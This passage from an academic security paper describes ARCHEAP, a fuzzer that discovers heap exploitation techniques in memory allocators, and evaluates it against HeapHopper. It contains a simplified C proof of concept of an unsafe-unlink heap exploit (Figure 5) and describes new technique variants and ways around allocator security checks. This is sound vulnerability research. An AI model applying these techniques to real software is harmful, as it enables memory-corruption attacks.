ARCHEAP exploits the in-place and cardinal metadata design
of heap allocators to prune its search space. In particular,
ARCHEAP writes only a limited number of values — noted as
MAX_WRITE in the pseudocode, which is eight in our prototype
— from the start or the end of an object (see Line 31 – 51
in Figure 4) since an allocator stores its metadata near the
boundary for locality (in-place metadata). Further, ARCHEAP
generates random values (see Table 5) that can be used for
sizes or pointers in an allocator instead of fully random ones
(cardinal data).

To explore various exploit techniques, ARCHEAP intro-
duces systematic noises to generated values. In particular,
ARCHEAP modifies a value using linear (addition and multi-
plication) or shift transformation (addition only) according to
the value’s type. For example, a heap address can be shifted
by word granularity (i.e., respecting alignment); however,



 p[0] = malloc(760); ❶�
 p[1] = malloc(776);

 // struct malloc_chunk *fake = p[1];

 // NOTE: offsetof(fd) = 16, offsetof(bk) = 24

 *(uintptr_t*)(p[1] + 16) = (uintptr_t)&p[1] + -24;

 // fake->fd->bk = *(&p[1] - 24 + 24) = p[1] == fake

 *(uintptr_t*)(p[1] + 24) = (uintptr_t)&p[1] + -16;

 p[2] = malloc(760);

 // shrink p[2]'s prev_size, making 'fake' as its prev chunk

 *(uintptr_t*)(p[1] + 768) = 768;

 *(uintptr_t*)(p[1] + 776) = 768; ❷
 // triggering unsafe(fake) via backward consolidation

 free(p[2]); ❸
 // assert(p[1] == (void*)&p[1] - offsetof(bk));

 // writing with p[1]: overwriting p[3] to buf

 ((uintptr_t*)p[1])[5] = (uintptr_t)buf; ❹
 // writing with p[3]: overwrite buf[0] with 800

 ((uintptr_t*)p[3])[0] = 800; ❺
 // assert(buf[0] == 800);

 // bypassing (1): P->size == next(P)->prev_size

 // since fake->size = next(fake->prev_size = 0 by default

 // bypassing (2): P->fd->bk == P && P->bk->fd == P

 // [BUG] overflowing p[1] to make p[2]'s prev chunk freed, P=0
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Figure 5: A PoC code of unsafe unlink found
by ARCHEAP that has been simplified for easier
explanation. Note that this PoC is a concretization
of Figure 2b.

p[0]p[0]

Heap container Shadow memory

Global buffer Shadow memory

❶

...

p[0]

Heap container Shadow memory

Global buffer Shadow memory

❷ p[1] p[2] p[0] p[1] p[2]p[0] p[1] p[2]p[0]

Heap container Shadow memory

Global buffer Shadow memory

❸ ★ p[2] p[0] p[1] p[2]p[0] p[2]

Discrepency after free() - Restricted write in the heap container
 ★ = (void*)&p[1] - offsetof(bk)

p[0]

Heap container Shadow memory

Global buffer Shadow memory

❹ p[2] p[0] p[2]p[0] p[2] buf

Divergence after heap write - Arbitrary write in the heap container

p[0]

Heap container Shadow memory

Global buffer Shadow memory

❺ p[2] p[0] p[2]p[0] p[2] buf

Divergence after heap write - Arbitrary write in the global buffer

buf

800

★ ★ ★ ★

Figure 6: Shadow memory states in Figure 5. Black circles in left top corner represent
locations in the code of states. Gray-color boxes show divergence between original
memory and its shadow memory. Using this information, ARCHEAP can detect
exploitation techniques.

it is not multiplied by a constant because it is the pointer
type. Similar to deallocation, ARCHEAP writes data only in
a valid heap region (i.e., no overflow or underflow) to ensure
legitimacy of an action (Line 33).

Bug invocation. To explore heap exploitation techniques
in the presence of heap vulnerabilities, ARCHEAP needs to
conduct buggy actions. Currently, ARCHEAP handles six
bugs in heap: 1⃝ overflow, 2⃝ write-after-free, 3⃝ off-by-
one overflow, 4⃝ off-by-one NULL overflow, 5⃝ double free,
and 6⃝ arbitrary free. ARCHEAP performs only one of these
bugs for a technique to limit the power of an adversary as
described in the threat model (see §3.2). Also, ARCHEAP
allows repetitive execution of the same bug to emulate the
situation in which an attacker re-triggers the bug.

ARCHEAP deliberately builds a buggy action to ensure its
occurrence. For overflow and off-by-one, ARCHEAP uses the
malloc_usable_sizeAPI to get the actual heap size to ensure
overflow. This is necessary since the request size could be
smaller than the actual size due to alignment or the minimum
size constraint. Particularly for ptmalloc2, ARCHEAP uses
a dedicated single-line routine to get the actual size since
ptmalloc2’s malloc_usable_size() is inaccurate under the
presence of memory corruption bugs. Moreover, in double
free and write-after-free bugs, ARCHEAP checks whether a
target chunk is already freed. If it is not freed yet, ARCHEAP
ignores this buggy action and waits for the next one.

Model specifications. A user can optionally provide model
specification either to direct ARCHEAP to focus on a certain
type of exploitation techniques or to restrict the conditions for
a target environment. It accepts five types of a model specifi-
cation: chunk sizes, bugs, impacts, actions, and knowledge.
The first four types are self-explanatory, and knowledge is
about the ability of an attacker to break ASLR (i.e., prior
knowledge of certain addresses). The user can specify three
types of addresses that an attacker may know: a heap address,

the global buffer address, and the container address. Such
knowledge will affect future data generation by ARCHEAP,
as shown in Table 5.

5.3 Detecting Techniques by Impact
ARCHEAP detects four types of impact of exploitations that
are the building blocks of a full chain exploit: arbitrary-
chunk (AC), overlapping-chunk (OC), arbitrary-write (AW),
and restricted-write (RW). This approach has two benefits,
namely, expressiveness and performance. These types are
useful in developing control-hijacking, the ultimate goal of
an attacker. Thus, all existing techniques lead to one of these
types, i.e., can be represented by these types. Also, it causes
small performance overheads to detect the existence of these
types with a simple data structure shadowing the heap space.

1 To detect AC and OC, ARCHEAP determines any over-
lapping chunks in each allocation (Line 18 in Figure 4). To
make the check safe, it replicates the address and size of a
chunk right after malloc since it could be corrupted when
a buggy action is executed. Using the stored addresses and
sizes, it can quickly check if a chunk overlaps with its data
structure (AC) or other chunks (OC).

2 To detect AW and RW, ARCHEAP safely replicates
its data structures, the containers and the global buffer, us-
ing the technique called shadow memory. During execution,
ARCHEAP synchronizes the state of the shadow memory
whenever it performs actions that can modify its internal
structures: allocations for the container and buffer writes for
the global buffer (Line 21, 49). Then, ARCHEAP checks the
divergence of the shadow memory when performing any ac-
tion (Line 17, 29, 43, 50). Because of the explicit consistency
maintained by ARCHEAP, divergence can only occur when
previously executed actions modify ARCHEAP’s data struc-
tures via an internal operation of the heap allocator. Later,
these actions can be reformulated to modify sensitive data of



an application instead of the data structure for exploitation.
ARCHEAP’s fuzzing strategies (Table 5) make this detec-

tion efficient by limiting its analysis scope to its data struc-
tures. In general, a heap exploit technique can corrupt any
data, leading to scanning of the entire memory space. How-
ever, the technique found by ARCHEAP can only modify
heap or the data structures because these are the only visible
addresses from its fuzzing strategies. ARCHEAP checks only
modification in its data structures, but ignores one in heap
because it is hard to distinguish a legitimate one (e.g., modi-
fying metadata in deallocation) from an abusing one (i.e., a
heap exploit technique) without a deep understanding of an
allocator. This is semantically equivalent to monitoring the
violence of the implicit invariant of an allocator — it should
not modify memory that is not under its control.

ARCHEAP distinguishes AW from RW based on the heap
actions that introduce divergence. If a divergence occurs in
allocation or deallocation, it concludes RW, otherwise (i.e.,
in heap or buffer write), it concludes AW. The underlying
intuition is that parameters in the former actions are hard to
control arbitrarily, but not in the latter ones. After detect-
ing divergence, ARCHEAP copies the original memory to its
shadow to stop repeated detections.
A running example. Figure 6 shows the state of the shadow
memory when executing Figure 5. 1 After the first alloca-
tion, ARCHEAP updates its heap container and corresponding
shadow memory to maintain their consistency, which might
be affected by the action. 2 It performs two more allocations
so updates the heap container and shadow memory accord-
ingly. 3 After deallocation, p[1] is changed into ⋆ due to
unlink() in ptmalloc2 (Figure 2a). At this point, ARCHEAP
detects divergence of the shadow memory from the original
heap container. Since this divergence occurs during dealloca-
tion, the impact of exploitation is limited to restricted writes
in the heap container. 4 In this case, since the heap write
causes the divergence, the actions can trigger arbitrary writes
in the heap container. 5 Since this heap write introduces di-
vergence in the global buffer, the actions can lead to arbitrary
write in the global buffer.

5.4 Generating PoC via Delta-Debugging
To find the root cause of exploitation, ARCHEAP refines
test cases using delta-debugging [76], as shown in Algo-
rithm 1. The algorithm is simple in concept: for each action,
ARCHEAP re-evaluates the impact of exploitation of the test
cases without it. If the impacts of the original and new test
cases are equal, it considers the excluded action redundant
(i.e., no meaningful effect to the exploitation). The intuition
behind this decision is that many actions are independent (e.g.,
buffer writes and heap writes) so that the delta-debugging can
clearly separate non-essential actions from the test case. Our
current algorithm is limited to evaluating one individual ac-
tion at a time. It can be easily extended to check with a
sequence or a combination of heap actions together, but our
evaluation shows that the current scheme using a single action

is effective enough for practical uses—it eliminates 84.3% of
non-essential actions on average (see §8.3).

Algorithm 1: Minimize actions that result in an im-
pact of exploitation

Input :actions – actions that result in an impact
1 origImpact← GetImpact(actions)
2 minActions← actions
3 for action ∈ actions do
4 tempActions← minActions−action
5 tempImpact = GetImpact(tempActions)
6 if origImpact = tempImpact then
7 minActions← tempActions
8 end
9 end

Output :minActions – minimized actions that result in the
same impact

Once minimized, ARCHEAP converts the encoded test case
to a human-understandable PoC like that in Figure 5 using
one-to-one mapping between each action and C code (e.g., an
allocation action→ malloc()).

6 Implementation
We extended American Fuzzy Lop (AFL) to run our heap
action generator that randomly executes heap actions. The
generator sends a user-defined signal, SIGUSR2, if it finds
actions that result in an impact of exploitation. We also
modified AFL to save crashes only when it gets SIGUSR2 and
ignores other signals (e.g., segmentation fault), which are not
interesting in finding techniques. We carefully implemented
the generator not to call heap APIs implicitly except for the
pre-defined actions for reproducing the actions. For example,
the generator uses the standard error for its logging instead of
standard out, which calls malloc internally for buffering. To
prevent the accidental corruption of internal data structures,
the generator allocates its data structures in random addresses.
Thus, the bug actions such as overflow cannot modify the data
structures since they will not be adjacent to heap chunks.

7 Applications
7.1 New Heap Exploitation Techniques
This section discusses the new exploitation techniques in
ptmalloc2 during our evaluation. Compared to the old tech-
niques, we determine their uniquenesses in two aspects: root
causes and capabilities, as shown in Table 6. More informa-
tion (e.g., elapsed time or models) can be found in section
§8. To share new attack vectors in ptmalloc2, the techniques
are reported and under review in how2heap [61], the de-facto
standard for exploitation techniques. Most PoC codes are
available in Appendix A.
Unsorted bin into stack (UBS). This technique overwrites
the unsorted bin to link a fake chunk so that it can return the
address of the fake chunk (i.e., an arbitrary chunk). This is
similar to house of lore [7], which corrupts a small bin to



New Old Root Causes New Capability
UBS HL Unsorted vs. Small Only need one size of an object
HUE HE Unsorted vs. Free Does not require a heap address
UDF FD Small vs. Fast Can abuse a small bin with more checks
OCS OC Small vs. Unsorted Does not need a controllable allocation
FDO FD Consolidation vs. Fast Can allocate a non-fast chunk

Table 6: New techniques found by ARCHEAP in ptmalloc2, which
have different root causes and capabilities from old ones.

achieve the same attack goal. However, the unsorted bin into
stack technique requires only one kind of allocation, unlike
house of lore, which requires two different allocations, to
move a chunk into a small bin list. This technique has been
added to how2heap [61].
House of unsorted einherjar (HUE). This is a variant of
house of einherjar, which uses an off-by-one NULL byte
overflow and returns an arbitrary chunk. In house of einher-
jar, attackers should have prior knowledge of a heap address
to break ASLR. However, in house of unsorted einherjar, at-
tackers can achieve the same effect without this pre-condition.
We named this technique house of unsorted einherjar, as it
interestingly combines two techniques, house of einherjar
and unsorted bin into stack, to relax the requirement of the
well-known exploitation technique.
Unaligned double free (UDF). This is an unconventional
technique that abuses double free in a small bin, which is
typically considered a weak attack surface thanks to compre-
hensive security checks. To avoid security checks, a victim
chunk for double free should have proper metadata and is
tricked to be under use (i.e., P bit of the next chunk is one).
Since double free doesn’t allow arbitrary modification of
metadata, existing techniques only abuse a fast bin or tcache,
which have weaker security checks than a small bin (e.g.,
fast-bin-dup in Table 4).

Interestingly, unaligned double free bypasses these security
checks by abusing the implicit behaviors of malloc(). First,
it reuses the old metadata in a chunk since malloc() does
not initialize memory by default. Second, it fills freed space
before the next chunk to make the P bit of the chunk one. As
a result, the technique can bypass all security checks and can
successfully craft a new chunk that overlaps with the old one.
Overlapping chunks using a small bin (OCS). This is a
variant of overlapping-chunks (OC) that abuses the unsorted
bin to generate an overlapping chunk, but this technique crafts
the size of a chunk in a small bin. Unlike OC, it requires more
actions — three more malloc() and one more free()— but
doesn’t require attackers to control the allocation size. When
attackers cannot invoke malloc() with an arbitrary size, this
technique can be effective in crafting an overlapping chunk
for exploitation.
Fast bin into other bin (FDO). This is another interest-
ing technique that allows attackers to return an arbitrary ad-
dress: it abuses consolidation to convert the type of a vic-
tim chunk from the fast bin to another type. First, it cor-
rupts a fast bin free list to insert a fake chunk. Then, it
calls malloc_consolidate() to move the fake chunk into the

Allocators P I Impacts of exploitation
OC AC RW AW

dlmalloc-2.7.2 ✓ ✓ OV, WF, DF (N) AF, OV, WF AF, OV, WF AF, OV, WF
dlmalloc-2.8.6 ✓ ✓ OV, WF, DF (N) OV (N) OV
musl-1.1.9 ✓ ✓ OV, WF, DF (N) AF, OV, WF AF, OV, WF AF, OV, WF
musl-1.1.24 ✓ ✓ OV, WF, DF AF, OV, WF AF, OV, WF AF, OV, WF
jemalloc-5.2.1 DF
tcmalloc-2.7 ✓ OV, DF OV, WF, DF OV OV
mimalloc-1.0.8 ✓ OV, WF, DF OV, WF WF
mimalloc-secure-1.0.8 ✓ DF
DieHarder-5a0f8a52 DF
mesh-a49b6134 DF, NO

N: New techniques compared to the related work, HeapHopper [17]; only top three
allocators matter. NO: No bug is required, i.e., incorrect implementations. I: In-place
metadata, P: ptmalloc2-related allocators.

Table 7: Summary of exploit techniques found by ARCHEAP in
real-world allocators with their version or commit hash.

unsorted bin during the deallocation process. Unlike other
techniques related to the fast bin, this fake chunk does not
have to be in the fast bin. We exclude this PoC due to space
limits, but it is available in our repository.

7.2 Different Types of Heap Allocators
We also applied ARCHEAP to the 10 different allocators with
various versions. First, we tested dlmalloc 2.7.2, dlmalloc
2.8.6 [41], and musl [59] 1.1.9, which were used in the re-
lated work, HeapHopper [17]. Moreover, we tested other
real-world allocators: the latest version of musl (1.1.24), je-
malloc [19], tcmalloc [26], Microsoft mimalloc [43] with
its default and secure mode (noted as mimalloc-secure), and
LLVM Scudo [45]. Furthermore, we evaluated allocators
from academia: DieHarder [49], Mesh [56], FreeGuard [64],
and Guarder [65]. Applying ARCHEAP to other allocators
was trivial; we leveraged LD_PRELOAD to use a new allocator.
Under the assumption that internal details of the allocators
are unknown, we ran ARCHEAP with four models specify-
ing each impact (i.e., OC, AC, RW, and AW) one by one to
exhaustively explore possible techniques. After 24 hours of
evaluation, it found several exploit techniques among seven
out of 10 allocators except for Scudo, FreeGuard, and Guarder
due to their secure design. We also tested ARCHEAP with cus-
tom allocators from DARPA Cyber Grand Challenge, whose
results can be found in §A.1.

As shown in Table 7, ARCHEAP discovers various exploita-
tion techniques for ptmalloc2-related allocators: dlmalloc—
the ancestor of ptmalloc2 and musl—a libc implementation
in embedded systems inspired by dlmalloc. In dlmalloc
2.7.2, dlmalloc 2.8.6, and musl 1.1.9, ARCHEAP not only
re-discovered all techniques found by HeapHopper, but also
newly found the following facts: 1) these allocators are all
vulnerable to double free, and 2) an arbitrary chunk is still
achievable through overflow in dlmalloc-2.8.6. This was hid-
den in HeapHopper due to its limitation to handle symbolic-
size allocation. Note that we merged special cases of overflow
(O1, O1N) into OV to be consistent with HeapHopper [17],
and our claims for new techniques are very conservative; we
claim discovery of new techniques only when HeapHopper
cannot find equivalent or more powerful ones (e.g., AC is
more powerful than OC). We further compare ARCHEAP
with HeapHopper in §8.1. ARCHEAP also found that musl



Figure 7: The number of working PoCs from one source LTS in
various Ubuntu LTS. For example, 56 PoCs were generated from
precise, 49 of them work in trusty and xenial, and 45 of them
work in bionic.

has no security improvement in the latest version; all tech-
niques in musl 1.1.9 are still working in 1.1.24.

ARCHEAP also successfully found several heap exploit
techniques in allocators that are dissimilar to ptmalloc2 (see
Table 7) for the following reasons. First, ARCHEAP’s model,
which is based on the common designs in allocators (§2.1),
is generic enough to cover non-ptmalloc allocators. For ex-
ample, tcmalloc [26] is aiming at high performance comput-
ing, resulting in very different design from ptmalloc2’s (e.g.,
heavy use of thread-local cache). However, tcmalloc still
follows our model: its metadata are placed in the head of a
chunk (in-place metadata) and consist of linked list pointers
(cardinal data). Thus, ARCHEAP can find several techniques
in tcmalloc including one that can lead to an arbitrary chunk
using overflow (see Figure A.2). It is worth emphasizing that
our model only depends on metadata’s appearance, not on
their generation or management, which introduce more vari-
ety in design, making generalization difficult. Second, thanks
to standardized APIs, ARCHEAP can find exploit techniques
even in allocators that are deviant from our model (e.g., je-
malloc). In particular, ARCHEAP discovered techniques that
are reachable only using APIs (e.g., double free) although the
allocators have removed in-place metadata for security.

ARCHEAP helps to find implementation bugs in allocators
by showing unexpected exploit primitives in secure alloca-
tors or that can be invokable without a bug. Accordingly,
ARCHEAP found three bugs in mimalloc-secure, DieHarder,
and Mesh. We reported our findings to the developers; two of
them got acknowledged and are patched. It is worth mention-
ing that our auto-generated PoC has been added to mimalloc
as its regression test. In the following, we discuss each issue
that ARCHEAP found.

DieHarder, mimalloc-secure: memory duplication in
large chunks using double free. ARCHEAP found the
technique that allows the duplication large chunks (more than
64K bytes) in the well-known secure allocators, DieHarder
and mimalloc-secure. Interestingly, even though the alloca-
tors have no direct relationship according to the developer of
mimalloc [43], ARCHEAP found that both allocators are vul-
nerable to this technique. Their root causes are also distinct:
DieHarder misses verifying its chunk’s status when allocat-
ing large chunks, unlike for smaller chunks, and mimalloc
checked the status of an incorrect block. ARCHEAP success-

fully found this corner case without having any hint about the
internals of the allocators using its randomized exploration.
PoC is available in Figure A.3.
Mesh: memory duplication using allocations with nega-
tives sizes. ARCHEAP found that if an attacker allocates an
object with negative size, Mesh will return the same chunk
twice (i.e., duplication) instead of NULL.

7.3 Evolution of Security Features
We applied ARCHEAP to four versions of ptmalloc2 dis-
tributed in Ubuntu LTS: precise (12.04, libc 2.15), trusty
(14.04, libc 2.19), xenial (16.04, libc 2.23), and bionic
(18.04, libc 2.27). In trusty and xenial, a new security
check that checks the integrity of size metadata (refer (1) in
Figure 2a) is backported by the Ubuntu maintainers. To com-
pare each version, we perform differential testing: we first
apply ARCHEAP to each version and generate PoCs. Then,
we validate the generated PoCs from one version against other
versions. (see Figure 7).

We identified three interesting trends that cannot be eas-
ily obtained without ARCHEAP’s automation. First, a new
security check successfully mitigates a few exploitation tech-
niques found in an old version of ptmalloc2: likely, the libc
maintainer reacts to a new, popular exploitation technique.
Second, an internal design change in bionic rendered the
most PoCs generated from previous versions ineffective. This
indicates the subtleties of the generated PoCs, requiring pre-
cise parameters and the orders of API calls for successful
exploitation. However, this does not particularly mean that a
new version, bionic, is secure; the new component, tcache,
indeed makes exploitation much easier, as Figure 7 shows.
Third, this new component, tcache, which is designed to im-
prove the performance [15], weakens the security of the heap
allocators, not just making it easy to attack but also introduc-
ing new exploitation techniques. This is similarly observed
by other researchers and communities [17, 37].

8 Evaluation
This section tries to answer the following questions:

1. How effective is ARCHEAP in finding new exploitation
techniques compared to the state-of-the-art technique,
HeapHopper?

2. How exhaustively can ARCHEAP explore the security-
critical state space?

3. How effective is delta-debugging in removing redundant
heap actions?

Evaluation setup. We conducted all the experiments on
Intel Xeon E7-4820 with 256 GB RAM. For seeding, we used
256 random bytes that are used to indicate a starting point of
the state exploration and are not critical, as ARCHEAP tends
to converge during the state exploration.

8.1 Comparison to HeapHopper
HeapHopper [17] was recently proposed to analyze existing
exploitation techniques in varying implementations of an allo-



Name Bug Impact Chunks # Txn Size TxnList (A list of transactions)
FD WF AC Fast 8 {8} M-M-F-WF-M-M
UU O1 AW,RW Small 6 {128} M-M-O1-F
HS AF AC Fast 4 {48} AF-M
PN O1N OC Small 12 {128,256,512} M-M-M-F-O1N-M-M-F-F-M
HL WF AC Small 9 {100,1000} M-M-F-M-WF-M-M
OC O1 OC Small 8 {120,248,376} M-M-M-F-O1-M
UB WF AW,RW Small 7 {400} M-M-F-WF-M
HE O1 AC Small 7 {56,248,512} M-M-O1-F-M

# Txn: The number of transactions, M: malloc, F: free

Table 8: Exploit-specific models for known techniques from
HeapHopper. It is worth noting that the results of variants (i.e.,
techniques have same prerequisites, but different root causes) are
identical for ARCHEAP with no specific model (marked with † and
‡ in Table 9 and Table 10) since ARCHEAP neglects the number of
transactions (i.e., # Txn).

cator. Because of its goal, HeapHopper emphasizes complete-
ness and verifiability, differentiating its method (i.e., symbolic
execution) from ARCHEAP’s (i.e., fuzzing). To overcome the
state explosion in symbolic execution, HeapHopper tightly
encodes the prior knowledge of exploit techniques into its
models, e.g., the number of transactions (i.e., non-write ac-
tions in ARCHEAP), allocation sizes (i.e., guiding the use of
specific bins), and even a certain order of transactions. By
relying on this model, it could incrementally perform the
symbolic execution for all permutations of transactions. Un-
fortunately, its key idea—guiding the state exploration with
detailed models— limits its capability to only its original
purpose that validates known exploitation techniques, unlike
our approach can find unknown techniques.

Despite their different purposes, their outputs are equiva-
lent to heap exploitation techniques; therefore, we need to
show the orthogonality of ARCHEAP and HeapHopper; nei-
ther of them can replace the other. To objectively compare
both approaches, we performed three experiments: 1 finding
unknown techniques with no exploit-specific model (i.e., ap-
plying HeapHopper to ARCHEAP’s task), 2 finding known
techniques with partly specified models (i.e., evaluating the
roles of specified models in each approach), and 3 finding
known techniques with exploit-specific models (i.e., applying
ARCHEAP to HeapHopper’s task). In the experiments, we
considered variants of exploit techniques1 as an equal class
since both systems cannot distinguish their subtle differences.
We ran each experiment three times with a 24-hour timeout
for proper statistical comparison [40]. We used the default
option for HeapHopper since it shows the best performance
in the following experiments (see §A.2).
1 New techniques. We first check if HeapHopper’s ap-
proach can be used to find previously unknown exploita-
tion techniques that ARCHEAP found (see, §7.1). To apply
HeapHopper, we provided models that specify all sizes for
corresponding bins but limit the number of transactions fol-
lowing our PoCs, as shown in Table 9. Note that, in theory,
such relaxation is general enough to discover new techniques
given an infinite amount of computing resources. In the ex-

1Exploit techniques often have the same prerequisite but different root
causes such as UBS and HL.

1 New techniques

Name Bug Impact Chunks # Txn ARCHEAP HeapHopper
T F O µ σ T F O µ σ

FDO WF AC Fast, Large —

UBS WF AC Small 6 3† 0 0 20.2m 5m 0 0 3 ∞ -
HUE O1 AC Small 9 2‡ 0 1 14.4h 8.9h 0 0 3 ∞ -
OCS OV OC Small 9 3 0 0 17.3s 1.2s 0 0 3 ∞ -
UDF DF OC Small 9 3 0 0 19.9s 5.2s 0 0 3 ∞ -
Found 11 0 1 ⇒ #4 0 0 12 ⇒ #0

T: True positives, F: False positives, O: Timeout,
µ: Average time, σ : Standard deviation of time

Table 9: The number of experiments (at most three) that discover
new exploitation techniques, the number of found techniques — the
number after hash (#) sign, elapsed time, and corresponding models.
Briefly, ARCHEAP discovered all four techniques, but HeapHopper
failed to. We omitted FDO, which has a superset model of FD;
therefore, it becomes indistinguishable to FD (see, Table 8).

periment, FDO is excluded because its model is a superset of
FD; having FDO simply makes ARCHEAP and HeapHopper
converge to FD.

HeapHopper fails to identify all unknown exploitation prim-
itives with no exploit-specific models (see Table 9). In fact,
it encounters a few fundamental problems of symbolic ex-
ecution: 1) exponentially growing permutations of transac-
tions and 2) huge search spaces in selecting proper size and
orders to trigger exploitation. Although HeapHopper demon-
strated a successful state exploration of seven transactions
with three size parameters (§7.1 in [17]), the search space
required for discovering new techniques is much larger, ren-
dering HeapHopper’s approach computationally infeasible.
On the contrary, ARCHEAP successfully explores the search
space using the random strategies, and indeed discovers un-
known techniques.
2 Known techniques with partly specified models. We
also evaluate the role of exploit-specific models in both ap-
proaches, which are unavailable in finding new techniques.
In particular, we evaluated both systems with partial mod-
els, namely, the size parameters (+Size) and a sequence of
transactions (+TxnList), used in HeapHopper (see, Table 8).
To prevent each system from converging to easy-to-find tech-
niques, we tested each model on top of the baseline heap
model (i.e., Bug+Impact+Chunks).

This experiment (i.e., 2 in Table 10) shows that ARCHEAP
outperforms HeapHopper with no or partly specified models:
ARCHEAP found five more known techniques than HeapHop-
per in both +Size and Bug+Impact+Chunks. Interestingly,
ARCHEAP can operate worse with additional information;
ARCHEAP found three fewer techniques in +TxnList. Un-
like ARCHEAP, exploit-specific models are beneficial to
HeapHopper, finding one more techniques when +TxnList
is given. This result shows that a precise model plays an
essential role in symbolic execution but not in fuzzing. In
short, ARCHEAP is particularly preferable when exploring
unknown search space, (i.e., finding new techniques), where
an accurate model is inaccessible.
3 Known techniques with exploit-specific models When



2 Known techniques with partly specified models 3 Known techniques with exploit-specific models.

Name
Bug+Impact+Chunks +Size +TxnList +Size, TxnList

ARCHEAP HeapHopper ARCHEAP HeapHopper ARCHEAP HeapHopper ARCHEAP HeapHopper
T F O µ σ T F O µ σ T F O µ σ T F O µ σ T F O µ σ T F O µ σ T F O µ σ T F O µ σ

FD 3 0 0 2.7m 1.2m 3 0 0 3.8m 0.3s 3 0 0 57.1s 27.1s 3 0 0 3.8m 0.9s 3 0 0 14.2m 4.3m 3 0 0 10.7m 2.1m 3 0 0 10.2m 7.2m 3 0 0 23.5s 0.2s
UU 3 0 0 57.9m 40.4m 0 0 3 ∞ - 3 0 0 1.6h 1.1h 0 0 3 ∞ - 0 0 3 ∞ - 0 3 0 3.2h 26.3m 0 0 3 ∞ - 0 3 0 8.2h 13m
HS 3 0 0 2.7m 59.7s 3 0 0 31.4s 0.2s 3 0 0 9.3m 6.1m 3 0 0 31.1s 0.2s 0 0 3 ∞ - 3 0 0 56s 0.8s 0 0 3 ∞ - 3 0 0 28.6s 0.2s
PN 3 0 0 13.3m 24.4s 0 0 3 ∞ - 3 0 0 16.1m 14.9m 0 0 3 ∞ - 3 0 0 1.6h 57m 0 0 3 ∞ - 3 0 0 26m 12.6m 3 0 0 4.3m 1.6s
HL 3† 0 0 20.2m 5m 0 0 3 ∞ - 3 0 0 1.2m 47.3s 0 0 3 ∞ - 2 0 1 13.2h 8.5h 0 0 3 ∞ - 3 0 0 21m 9.4m 2 1 0 2.2m 8.2s
OC 3 0 0 7.1s 5.9s 0 0 3 ∞ - 3 0 0 20s 5.3s 0 0 3 ∞ - 3 0 0 6s 2.4s 3 0 0 22.1h 33.2m 3 0 0 26.6s 34s 3 0 0 3.2m 2s
UB 3 0 0 36.8s 22.8s 3 0 0 21.8s 0.2s 3 0 0 4.7s 3.1s 3 0 0 21.9s 0.3s 3 0 0 24.8s 14.9s 3 0 0 47.6s 0.3s 3 0 0 12.6s 9.5s 3 0 0 19.5s 0.7s
HE 2‡ 0 1 14.4h 8.9h 0 0 3 ∞ - 2 0 1 9.3h 10.4h 0 0 3 ∞ - 0 0 3 ∞ - 0 0 3 ∞ - 0 0 3 ∞ - 0 3 0 6.8m 6.4s

Found 23 0 1 ⇒ #8 9 0 15 ⇒ #3 23 0 1 ⇒ #8 9 0 15 ⇒ #3 14 0 10 ⇒ #5 12 3 9 ⇒ #4 15 0 9 ⇒ #5 17 7 0 ⇒ #6

Table 10: The number of discovered known exploitation techniques and elapsed time for discovery in ARCHEAP and HeapHopper with various
models. In summary, ARCHEAP outperforms HeapHopper with no or partly specified models, e.g., ARCHEAP found five more techniques
with no specific model (Bug+Impact+Chunks). Even though HeapHopper found one more technique than ARCHEAP if exploit-specific models
are available, it suffers from false positives (marked in gray).

exploit-specific models (+Size, TxnList) are provided,
HeapHopper’s approach works better: It found one more
known technique and found four techniques more quickly
than ARCHEAP (as illustrated in 3 in Table 10). This shows
the strength of HeapHopper in validating existing techniques,
rendering orthogonality of both tools. We observed one in-
teresting behavior of HeapHopper in this experiment. With
more exploit models specified, HeapHopper tends to suffer
from false positives because of its internal complexity, as
noted in the paper [17]. Despite its small numbers – dozens
in three experiments — this shows incorrectness in HeapHop-
per, resulting in failures to find UU and UE. We confirmed
these false positives with HeapHopper’s authors. On the con-
trary, ARCHEAP’s approach does not introduce false positives
thanks to its straightforward analysis at runtime.

This experiment also highlights an interesting design deci-
sion of ARCHEAP: separating the exploration and reducing
phases. With no exploit-specific guidance, ARCHEAP can
freely explore the search space for finding heap exploitation
techniques, and so increase the probability of satisfying the
precondition of certain exploitation techniques. For exam-
ple, if the sequence of transactions of UU (M-M-O1-F) is
enforced, ARCHEAP should craft a fake chunk within a rel-
atively small period (i.e., between four actions) to trigger
the exploit; otherwise, ARCHEAP has a higher probability to
formulate a fake chunk by executing more, perhaps redun-
dant, actions. However, such redundancy is acceptable in
ARCHEAP thanks to our minimization phase that effectively
reduces inessential actions from the found exploit.

We also confirmed that ARCHEAP can find all tcache-
related techniques [37] and house-of-force, which HeapHop-
per fails to find because of an arbitrary size allocation.
ARCHEAP can find these techniques within a few minutes, as
they require fewer than five transactions.

8.2 Security Check Coverage
To show how exhaustively ARCHEAP explores the security-
sensitive part of the state space, we counted the number of
security checks in ptmalloc2 executed by ARCHEAP. In
24 hours of exploration, ARCHEAP executed 18 out of 21
security checks of ptmalloc2: it failed to cover C2, C4, and
C21 in Table 11. We note that C21 is related to a concurrency

Name Error message Version Xenial Bionic
C1 corrupted double-linked list 2.3.4 ✓ ✓
C2 corrupted double-linked list (not small) 2.21 ✓
C3 free(): corrupted unsorted chunks 2.11 ✓ ✓
C4 malloc(): corrupted unsorted chunks 1 2.11
C5 malloc(): corrupted unsorted chunks 2 2.11 ✓ ✓
C6 malloc(): smallbin double linked list corrupted 2.11 ✓ ✓
C7 free(): invalid next size (fast) 2.3.4 ✓ ✓
C8 free(): invalid next size (normal) 2.3.4 ✓ ✓
C9 free(): invalid size 2.4 ✓ ✓
C10 malloc(): memory corruption 2.3.4 ✓ ✓
C11 double free or corruption (!prev) 2.3.4 ✓ ✓
C12 double free or corruption (fasttop) 2.3.4 ✓ ✓
C13 double free or corruption (top) 2.3.4 ✓ ✓
C14 double free or corruption (out) 2.3.4 ✓ ✓
C15 malloc(): memory corruption (fast) 2.3.4 ✓ ✓
C16 malloc_consolidate(): invalid chunk size 2.27 — ✓
C17 break adjusted to free malloc space 2.10.1 ✓ ✓
C18 corrupted size vs. prev_size 2.26 ✓ ✓
C19 free(): invalid pointer 2.0.1 ✓ ✓
C20 munmap_chunk(): invalid pointer 2.4 ✓ ✓
C21 invalid fastbin entry (free) 2.12.1

Table 11: Security checks in ptmalloc2 covered by ARCHEAP;
an unique identifier for a check, an error message for its failure,
and version that the check is first introduced, and covered ones by
ARCHEAP in Ubuntu versions.

bug, which is outside of the scope of this work. C2 and C4
require a strict relationship between large chunks (e.g., the
sizes of two chunks are not equal but less than the minimum
size), which is probably too stringent for any randomization-
based strategies.

